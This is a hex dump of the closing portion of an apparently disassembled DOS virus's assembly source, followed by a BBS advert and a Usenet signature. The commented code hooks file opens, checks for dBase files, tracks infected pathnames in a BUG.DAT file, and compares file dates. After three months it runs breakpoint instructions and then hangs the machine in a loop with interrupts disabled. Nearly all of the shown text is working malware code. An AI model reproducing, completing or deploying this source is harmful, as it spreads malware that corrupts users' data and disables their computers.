|00004fd0| 4f 50 09 44 49 0a 09 43 | 4c 43 0a 09 4a 4d 50 09 |OP.DI..C|LC..JMP.|
|00004fe0| 42 50 30 36 44 31 0a 0a | 42 50 30 36 39 37 3a 09 |BP06D1..|BP0697:.|
|00004ff0| 4d 4f 56 09 42 58 2c 41 | 58 09 09 09 3b 20 4d 6f |MOV.BX,A|X...; Mo|
|00005000| 76 65 20 68 61 6e 64 6c | 65 0a 09 41 44 44 09 44 |ve handl|e..ADD.D|
|00005010| 58 2c 30 43 48 09 09 09 | 3b 20 52 65 61 64 20 62 |X,0CH...|; Read b|
|00005020| 75 66 66 65 72 0a 42 50 | 30 36 39 43 3a 09 4d 4f |uffer.BP|069C:.MO|
|00005030| 56 09 43 58 2c 30 30 34 | 45 48 09 09 3b 20 4c 65 |V.CX,004|EH..; Le|
|00005040| 6e 67 74 68 20 74 6f 20 | 72 65 61 64 0a 09 4d 4f |ngth to |read..MO|
|00005050| 56 09 41 48 2c 33 46 48 | 09 09 09 3b 20 52 65 61 |V.AH,3FH|...; Rea|
|00005060| 64 20 68 61 6e 64 6c 65 | 20 66 75 6e 63 74 69 6f |d handle| functio|
|00005070| 6e 0a 09 49 4e 54 09 32 | 31 48 09 09 09 3b 20 44 |n..INT.2|1H...; D|
|00005080| 4f 53 20 73 65 72 76 69 | 63 65 0a 09 4a 42 09 42 |OS servi|ce..JB.B|
|00005090| 50 30 36 39 32 09 09 09 | 3b 20 42 72 61 6e 63 68 |P0692...|; Branch|
|000050a0| 20 69 66 20 65 72 72 6f | 72 0a 09 43 4d 50 09 41 | if erro|r..CMP.A|
|000050b0| 58 2c 30 09 09 09 3b 20 | 44 69 64 20 77 65 20 72 |X,0...; |Did we r|
|000050c0| 65 61 64 20 61 6e 79 74 | 68 69 6e 67 3f 0a 09 4a |ead anyt|hing?..J|
|000050d0| 4e 45 09 42 50 30 36 42 | 30 09 09 09 3b 20 42 72 |NE.BP06B|0...; Br|
|000050e0| 61 6e 63 68 20 69 66 20 | 79 65 73 0a 09 4d 4f 56 |anch if |yes..MOV|
|000050f0| 09 41 48 2c 33 45 48 09 | 09 09 3b 20 43 6c 6f 73 |.AH,3EH.|..; Clos|
|00005100| 65 20 68 61 6e 64 6c 65 | 20 66 75 6e 63 74 69 6f |e handle| functio|
|00005110| 6e 0a 09 49 4e 54 09 32 | 31 48 09 09 09 3b 20 44 |n..INT.2|1H...; D|
|00005120| 4f 53 20 73 65 72 76 69 | 63 65 0a 09 4a 4d 50 09 |OS servi|ce..JMP.|
|00005130| 42 50 30 36 39 32 0a 0a | 42 50 30 36 42 30 3a 09 |BP0692..|BP06B0:.|
|00005140| 50 4f 50 09 44 49 0a 09 | 4d 4f 56 09 53 49 2c 44 |POP.DI..|MOV.SI,D|
|00005150| 58 0a 09 50 55 53 48 09 | 44 49 0a 42 50 30 36 42 |X..PUSH.|DI.BP06B|
|00005160| 34 3a 09 4d 4f 56 09 41 | 4c 2c 45 53 3a 5b 44 49 |4:.MOV.A|L,ES:[DI|
|00005170| 5d 09 09 3b 20 47 65 74 | 20 6e 65 78 74 20 63 68 |]..; Get| next ch|
|00005180| 61 72 61 63 74 65 72 0a | 09 43 4d 50 09 41 4c 2c |aracter.|.CMP.AL,|
|00005190| 30 09 09 09 3b 20 45 6e | 64 20 6f 66 20 70 61 74 |0...; En|d of pat|
|000051a0| 68 6e 61 6d 65 3f 0a 09 | 4a 45 09 42 50 30 36 43 |hname?..|JE.BP06C|
|000051b0| 33 09 09 09 3b 20 42 72 | 61 6e 63 68 20 69 66 20 |3...; Br|anch if |
|000051c0| 79 65 73 0a 09 43 4d 50 | 09 41 4c 2c 5b 53 49 5d |yes..CMP|.AL,[SI]|
|000051d0| 09 09 09 3b 20 44 6f 65 | 73 20 69 74 20 6d 61 74 |...; Doe|s it mat|
|000051e0| 63 68 20 66 69 6c 65 3f | 0a 09 4a 4e 45 09 42 50 |ch file?|..JNE.BP|
|000051f0| 30 36 39 43 09 09 09 3b | 20 52 65 61 64 20 6e 65 |069C...;| Read ne|
|00005200| 78 74 20 73 65 63 74 69 | 6f 6e 20 69 66 20 6e 6f |xt secti|on if no|
|00005210| 74 0a 09 49 4e 43 09 53 | 49 09 09 09 3b 20 4e 65 |t..INC.S|I...; Ne|
|00005220| 78 74 20 66 69 6c 65 20 | 63 68 61 72 61 63 74 65 |xt file |characte|
|00005230| 72 0a 09 49 4e 43 09 44 | 49 09 09 09 3b 20 4e 65 |r..INC.D|I...; Ne|
|00005240| 78 74 20 70 61 74 68 6e | 61 6d 65 20 63 68 61 72 |xt pathn|ame char|
|00005250| 61 63 74 65 72 0a 09 4a | 4d 50 09 42 50 30 36 42 |acter..J|MP.BP06B|
|00005260| 34 09 09 09 3b 20 43 6f | 6d 70 61 72 65 20 6e 65 |4...; Co|mpare ne|
|00005270| 78 74 20 63 68 61 72 61 | 63 74 65 72 0a 0a 09 3b |xt chara|cter...;|
|00005280| 20 50 61 74 68 6e 61 6d | 65 20 66 6f 75 6e 64 20 | Pathnam|e found |
|00005290| 6f 6e 20 42 55 47 2e 44 | 41 54 20 66 69 6c 65 0a |on BUG.D|AT file.|
|000052a0| 0a 42 50 30 36 43 33 3a | 09 50 4f 50 09 44 49 0a |.BP06C3:|.POP.DI.|
|000052b0| 09 4d 4f 56 09 41 48 2c | 33 45 48 09 09 09 3b 20 |.MOV.AH,|3EH...; |
|000052c0| 43 6c 6f 73 65 20 68 61 | 6e 64 6c 65 20 66 75 6e |Close ha|ndle fun|
|000052d0| 63 74 69 6f 6e 0a 09 49 | 4e 54 09 32 31 48 09 09 |ction..I|NT.21H..|
|000052e0| 09 3b 20 44 4f 53 20 73 | 65 72 76 69 63 65 0a 09 |.; DOS s|ervice..|
|000052f0| 53 54 43 0a 09 4a 4d 50 | 09 42 50 30 36 44 31 0a |STC..JMP|.BP06D1.|
|00005300| 0a 09 3b 20 75 6e 72 65 | 66 65 72 65 6e 63 65 64 |..; unre|ferenced|
|00005310| 20 63 6f 64 65 0a 0a 09 | 4d 4f 56 09 41 48 2c 33 | code...|MOV.AH,3|
|00005320| 45 48 09 09 09 3b 20 43 | 6c 6f 73 65 20 68 61 6e |EH...; C|lose han|
|00005330| 64 6c 65 20 66 75 6e 63 | 74 69 6f 6e 0a 09 49 4e |dle func|tion..IN|
|00005340| 54 09 32 31 48 09 09 09 | 3b 20 44 4f 53 20 73 65 |T.21H...|; DOS se|
|00005350| 72 76 69 63 65 0a 09 43 | 4c 43 0a 0a 42 50 30 36 |rvice..C|LC..BP06|
|00005360| 44 31 3a 09 50 4f 50 09 | 45 53 0a 09 50 4f 50 09 |D1:.POP.|ES..POP.|
|00005370| 44 53 0a 09 50 4f 50 09 | 42 50 0a 09 50 4f 50 09 |DS..POP.|BP..POP.|
|00005380| 44 49 0a 09 50 4f 50 09 | 53 49 0a 09 50 4f 50 09 |DI..POP.|SI..POP.|
|00005390| 44 58 0a 09 50 4f 50 09 | 43 58 0a 09 50 4f 50 09 |DX..POP.|CX..POP.|
|000053a0| 42 58 0a 09 50 4f 50 09 | 41 58 0a 09 52 45 54 0a |BX..POP.|AX..RET.|
|000053b0| 0a 09 3b 20 4f 70 65 6e | 20 66 69 6c 65 20 66 75 |..; Open| file fu|
|000053c0| 6e 63 74 69 6f 6e 0a 0a | 42 50 30 36 44 42 3a 09 |nction..|BP06DB:.|
|000053d0| 50 4f 50 46 0a 09 43 41 | 4c 4c 09 42 50 30 35 43 |POPF..CA|LL.BP05C|
|000053e0| 33 09 09 09 3b 20 44 4f | 53 20 73 65 72 76 69 63 |3...; DO|S servic|
|000053f0| 65 0a 09 4a 42 09 42 50 | 30 36 46 34 09 09 09 3b |e..JB.BP|06F4...;|
|00005400| 20 42 72 61 6e 63 68 20 | 69 66 20 65 72 72 6f 72 | Branch |if error|
|00005410| 0a 09 50 55 53 48 46 0a | 09 50 55 53 48 09 53 49 |..PUSHF.|.PUSH.SI|
|00005420| 0a 09 4d 4f 56 09 53 49 | 2c 44 58 0a 09 43 41 4c |..MOV.SI|,DX..CAL|
|00005430| 4c 09 42 50 30 34 36 38 | 09 09 09 3b 20 54 65 73 |L.BP0468|...; Tes|
|00005440| 74 20 66 6f 72 20 44 62 | 61 73 65 20 66 69 6c 65 |t for Db|ase file|
|00005450| 0a 09 4a 4e 45 09 42 50 | 30 36 46 32 09 09 09 3b |..JNE.BP|06F2...;|
|00005460| 20 42 72 61 6e 63 68 20 | 69 66 20 6e 6f 74 0a 09 | Branch |if not..|
|00005470| 43 41 4c 4c 09 42 50 30 | 36 36 35 09 09 09 3b 20 |CALL.BP0|665...; |
|00005480| 53 65 61 72 63 68 20 42 | 55 47 2e 44 41 54 20 66 |Search B|UG.DAT f|
|00005490| 69 6c 65 20 66 6f 72 20 | 70 61 74 68 6e 61 6d 65 |ile for |pathname|
|000054a0| 0a 09 4a 4e 42 09 42 50 | 30 36 46 32 09 09 09 3b |..JNB.BP|06F2...;|
|000054b0| 20 42 72 61 6e 63 68 20 | 69 66 20 6e 6f 74 20 66 | Branch |if not f|
|000054c0| 6f 75 6e 64 0a 09 43 41 | 4c 4c 09 42 50 30 34 32 |ound..CA|LL.BP042|
|000054d0| 33 0a 42 50 30 36 46 32 | 3a 09 50 4f 50 09 53 49 |3.BP06F2|:.POP.SI|
|000054e0| 0a 09 50 4f 50 46 0a 42 | 50 30 36 46 34 3a 09 52 |..POPF.B|P06F4:.R|
|000054f0| 45 54 46 09 32 0a 0a 09 | 3b 20 49 73 20 66 69 6c |ETF.2...|; Is fil|
|00005500| 65 20 6f 75 74 20 6f 66 | 20 74 69 6d 65 3f 0a 0a |e out of| time?..|
|00005510| 42 50 30 36 46 37 3a 09 | 50 55 53 48 09 41 58 0a |BP06F7:.|PUSH.AX.|
|00005520| 09 50 55 53 48 09 43 58 | 0a 09 50 55 53 48 09 44 |.PUSH.CX|..PUSH.D|
|00005530| 58 0a 09 50 55 53 48 09 | 53 49 0a 09 4d 4f 56 09 |X..PUSH.|SI..MOV.|
|00005540| 41 58 2c 35 37 30 30 48 | 09 09 3b 20 47 65 74 20 |AX,5700H|..; Get |
|00005550| 66 69 6c 65 20 64 61 74 | 65 20 26 20 74 69 6d 65 |file dat|e & time|
|00005560| 20 66 75 6e 63 74 69 6f | 6e 0a 09 49 4e 54 09 32 | functio|n..INT.2|
|00005570| 31 48 09 09 09 3b 20 44 | 4f 53 20 73 65 72 76 69 |1H...; D|OS servi|
|00005580| 63 65 0a 09 43 41 4c 4c | 09 42 50 30 37 30 33 09 |ce..CALL|.BP0703.|
|00005590| 09 09 3b 20 5c 20 47 65 | 74 20 63 75 72 72 65 6e |..; \ Ge|t curren|
|000055a0| 74 20 61 64 64 72 65 73 | 73 0a 42 50 30 37 30 33 |t addres|s.BP0703|
|000055b0| 3a 09 50 4f 50 09 53 49 | 09 09 09 3b 20 2f 0a 09 |:.POP.SI|...; /..|
|000055c0| 53 55 42 09 53 49 2c 4f | 46 46 53 45 54 20 42 50 |SUB.SI,O|FFSET BP|
|000055d0| 30 37 30 33 2d 44 57 30 | 33 38 37 09 3b 20 41 64 |0703-DW0|387.; Ad|
|000055e0| 64 72 65 73 73 20 66 69 | 6c 65 20 64 61 74 65 0a |dress fi|le date.|
|000055f0| 09 4d 4f 56 09 43 53 3a | 5b 53 49 5d 2c 44 58 09 |.MOV.CS:|[SI],DX.|
|00005600| 09 3b 20 53 61 76 65 20 | 66 69 6c 65 20 64 61 74 |.; Save |file dat|
|00005610| 65 0a 09 4d 4f 56 09 43 | 4c 2c 35 09 09 09 3b 20 |e..MOV.C|L,5...; |
|00005620| 5c 20 4d 6f 76 65 20 6d | 6f 6e 74 68 20 74 6f 20 |\ Move m|onth to |
|00005630| 62 6f 74 74 6f 6d 20 6f | 66 20 72 65 67 0a 09 53 |bottom o|f reg..S|
|00005640| 48 52 09 44 58 2c 43 4c | 09 09 09 3b 20 2f 0a 09 |HR.DX,CL|...; /..|
|00005650| 41 4e 44 09 44 58 2c 30 | 46 48 09 09 09 3b 20 49 |AND.DX,0|FH...; I|
|00005660| 73 6f 6c 61 74 65 20 6d | 6f 6e 74 68 0a 09 4d 4f |solate m|onth..MO|
|00005670| 56 09 41 48 2c 32 41 48 | 09 09 09 3b 20 47 65 74 |V.AH,2AH|...; Get|
|00005680| 20 64 61 74 65 20 66 75 | 6e 63 74 69 6f 6e 0a 09 | date fu|nction..|
|00005690| 50 55 53 48 09 44 58 09 | 09 09 3b 20 50 72 65 73 |PUSH.DX.|..; Pres|
|000056a0| 65 72 76 65 20 66 69 6c | 65 20 6d 6f 6e 74 68 0a |erve fil|e month.|
|000056b0| 09 49 4e 54 09 32 31 48 | 09 09 09 3b 20 44 4f 53 |.INT.21H|...; DOS|
|000056c0| 20 73 65 72 76 69 63 65 | 0a 09 50 4f 50 09 43 58 | service|..POP.CX|
|000056d0| 09 09 09 3b 20 52 65 63 | 6f 76 65 72 20 66 69 6c |...; Rec|over fil|
|000056e0| 65 20 6d 6f 6e 74 68 0a | 09 53 55 42 09 43 4c 2c |e month.|.SUB.CL,|
|000056f0| 44 48 09 09 09 3b 20 53 | 75 62 74 72 61 63 74 20 |DH...; S|ubtract |
|00005700| 6d 6f 6e 74 68 20 66 72 | 6f 6d 20 66 69 6c 65 20 |month fr|om file |
|00005710| 6d 6f 6e 74 68 0a 09 43 | 4d 50 09 43 4c 2c 30 09 |month..C|MP.CL,0.|
|00005720| 09 09 3b 20 4e 65 67 61 | 74 69 76 65 20 72 65 73 |..; Nega|tive res|
|00005730| 75 6c 74 3f 0a 09 4a 47 | 45 09 42 50 30 37 32 31 |ult?..JG|E.BP0721|
|00005740| 09 09 09 3b 20 42 72 61 | 6e 63 68 20 69 66 20 6e |...; Bra|nch if n|
|00005750| 6f 74 0a 09 4e 45 47 09 | 43 4c 09 09 09 3b 20 43 |ot..NEG.|CL...; C|
|00005760| 68 61 6e 67 65 20 74 68 | 65 20 73 69 67 6e 0a 42 |hange th|e sign.B|
|00005770| 50 30 37 32 31 3a 09 43 | 4d 50 09 43 4c 2c 33 09 |P0721:.C|MP.CL,3.|
|00005780| 09 09 3b 20 54 68 72 65 | 65 20 6d 6f 6e 74 68 73 |..; Thre|e months|
|00005790| 20 64 69 66 66 65 72 65 | 6e 63 65 3f 0a 09 4a 4c | differe|nce?..JL|
|000057a0| 09 42 50 30 37 32 39 09 | 09 09 3b 20 42 72 61 6e |.BP0729.|..; Bran|
|000057b0| 63 68 20 69 66 20 6e 6f | 74 0a 09 4a 4d 50 09 42 |ch if no|t..JMP.B|
|000057c0| 50 30 37 32 45 0a 0a 42 | 50 30 37 32 39 3a 09 50 |P072E..B|P0729:.P|
|000057d0| 4f 50 09 53 49 0a 09 50 | 4f 50 09 44 58 0a 09 50 |OP.SI..P|OP.DX..P|
|000057e0| 4f 50 09 43 58 0a 09 50 | 4f 50 09 41 58 0a 09 52 |OP.CX..P|OP.AX..R|
|000057f0| 45 54 0a 0a 09 3b 20 46 | 69 6c 65 20 74 68 72 65 |ET...; F|ile thre|
|00005800| 65 20 6d 6f 6e 74 68 73 | 20 6f 6c 64 20 28 6f 72 |e months| old (or|
|00005810| 20 6e 65 78 74 20 79 65 | 61 72 29 0a 0a 42 50 30 | next ye|ar)..BP0|
|00005820| 37 32 45 3a 09 43 4c 49 | 0a 09 4d 4f 56 09 41 58 |72E:.CLI|..MOV.AX|
|00005830| 2c 33 09 09 09 3b 20 53 | 74 61 72 74 20 63 6f 75 |,3...; S|tart cou|
|00005840| 6e 74 0a 42 50 30 37 33 | 32 3a 09 4d 4f 56 09 43 |nt.BP073|2:.MOV.C|
|00005850| 58 2c 30 31 30 30 48 0a | 09 4d 4f 56 09 44 58 2c |X,0100H.|.MOV.DX,|
|00005860| 30 09 09 09 3b 20 5c 20 | 41 64 64 72 65 73 73 20 |0...; \ |Address |
|00005870| 7a 65 72 6f 0a 09 4d 4f | 56 09 44 53 2c 44 58 09 |zero..MO|V.DS,DX.|
|00005880| 09 09 3b 20 2f 0a 09 58 | 4f 52 09 42 58 2c 42 58 |..; /..X|OR.BX,BX|
|00005890| 0a 09 50 55 53 48 09 41 | 58 0a 09 49 4e 54 09 33 |..PUSH.A|X..INT.3|
|000058a0| 09 09 09 3b 20 42 72 65 | 61 6b 70 6f 69 6e 74 0a |...; Bre|akpoint.|
|000058b0| 09 49 4e 54 09 33 09 09 | 09 3b 20 42 72 65 61 6b |.INT.3..|.; Break|
|000058c0| 70 6f 69 6e 74 0a 09 50 | 4f 50 09 41 58 0a 09 49 |point..P|OP.AX..I|
|000058d0| 4e 43 09 41 58 09 09 09 | 3b 20 49 6e 63 72 65 6d |NC.AX...|; Increm|
|000058e0| 65 6e 74 20 63 6f 75 6e | 74 0a 09 43 4d 50 09 41 |ent coun|t..CMP.A|
|000058f0| 4c 2c 31 41 48 09 09 09 | 3b 20 48 61 73 20 69 74 |L,1AH...|; Has it|
|00005900| 20 72 65 61 63 68 65 64 | 20 32 36 3f 0a 09 4a 4c | reached| 26?..JL|
|00005910| 09 42 50 30 37 33 32 09 | 09 09 3b 20 42 72 61 6e |.BP0732.|..; Bran|
|00005920| 63 68 20 69 66 20 6e 6f | 74 0a 42 50 30 37 34 35 |ch if no|t.BP0745|
|00005930| 3a 09 43 4c 49 09 09 09 | 09 3b 20 5c 20 4c 6f 6f |:.CLI...|.; \ Loo|
|00005940| 70 20 77 69 74 68 20 69 | 6e 74 65 72 72 75 70 74 |p with i|nterrupt|
|00005950| 73 20 64 69 73 61 62 6c | 65 64 0a 09 4a 4d 50 09 |s disabl|ed..JMP.|
|00005960| 42 50 30 37 34 35 09 09 | 09 3b 20 2f 0a 0a 45 4e |BP0745..|.; /..EN|
|00005970| 44 41 44 52 09 45 51 55 | 09 24 0a 0a 43 4f 44 45 |DADR.EQU|.$..CODE|
|00005980| 09 45 4e 44 53 0a 0a 09 | 45 4e 44 0a 1a 0a 3b 20 |.ENDS...|END...; |
|00005990| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|000059a0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|000059b0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|000059c0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|000059d0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 0a 3b 20 c4 c4 c4 c4 |........|..; ....|
|000059e0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|000059f0| 3e 20 61 6e 64 20 52 65 | 6d 65 6d 62 65 72 20 44 |> and Re|member D|
|00005a00| 6f 6e 27 74 20 46 6f 72 | 67 65 74 20 74 6f 20 43 |on't For|get to C|
|00005a10| 61 6c 6c 20 3c c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |all <...|........|
|00005a20| c4 c4 c4 c4 c4 0a 3b 20 | c4 c4 c4 c4 c4 c4 c4 c4 |......; |........|
|00005a30| c4 c4 c4 c4 3e 20 41 52 | 52 45 53 54 45 44 20 44 |....> AR|RESTED D|
|00005a40| 45 56 45 4c 4f 50 4d 45 | 4e 54 20 2b 33 31 2e 37 |EVELOPME|NT +31.7|
|00005a50| 39 2e 34 32 36 6f 37 39 | 20 48 2f 50 2f 41 2f 56 |9.426o79| H/P/A/V|
|00005a60| 2f 41 56 2f 3f 20 3c c4 | c4 c4 c4 c4 c4 c4 c4 c4 |/AV/? <.|........|
|00005a70| c4 0a 3b 20 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |..; ....|........|
|00005a80| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|00005a90| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|00005aa0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 c4 c4 c4 |........|........|
|00005ab0| c4 c4 c4 c4 c4 c4 c4 c4 | c4 c4 c4 c4 c4 0a 0a 0a |........|........|
|00005ac0| 0a 2d 2d 0a 45 72 69 63 | 20 22 4d 61 64 20 44 6f |.--.Eric| "Mad Do|
|00005ad0| 67 22 20 4b 69 6c 62 79 | 20 20 20 20 20 20 20 20 |g" Kilby| |
|00005ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005af0| 20 20 20 20 20 20 20 20 | 20 6d 61 64 64 6f 67 40 | | maddog@|
|00005b00| 63 63 73 2e 6e 65 75 2e | 65 64 75 0a 54 68 65 20 |ccs.neu.|edu.The |
|00005b10| 47 72 65 61 74 20 53 70 | 6f 72 6b 65 75 73 20 4d |Great Sp|orkeus M|
|00005b20| 61 78 69 6d 75 73 09 09 | 09 20 20 20 20 20 65 6b |aximus..|. ek|
|00005b30| 69 6c 62 79 40 6c 79 6e | 78 2e 64 61 63 2e 6e 65 |ilby@lyn|x.dac.ne|
|00005b40| 75 2e 65 64 75 0a 53 74 | 75 64 65 6e 74 20 61 74 |u.edu.St|udent at|
|00005b50| 20 74 68 65 20 4e 6f 72 | 74 68 65 61 74 73 74 65 | the Nor|theatste|
|00005b60| 72 6e 20 55 6e 69 76 65 | 72 73 69 74 79 20 43 6f |rn Unive|rsity Co|
|00005b70| 6c 6c 65 67 65 20 6f 66 | 20 43 6f 6d 70 75 74 65 |llege of| Compute|
|00005b80| 72 20 53 63 69 65 6e 63 | 65 20 0a 22 49 20 43 61 |r Scienc|e ."I Ca|
|00005b90| 6e 27 74 20 42 65 6c 69 | 65 76 65 20 49 74 27 73 |n't Beli|eve It's|
|00005ba0| 20 4e 6f 74 20 42 75 74 | 74 65 72 22 0a 0a | Not But|ter".. |
+--------+-------------------------+-------------------------+--------+--------+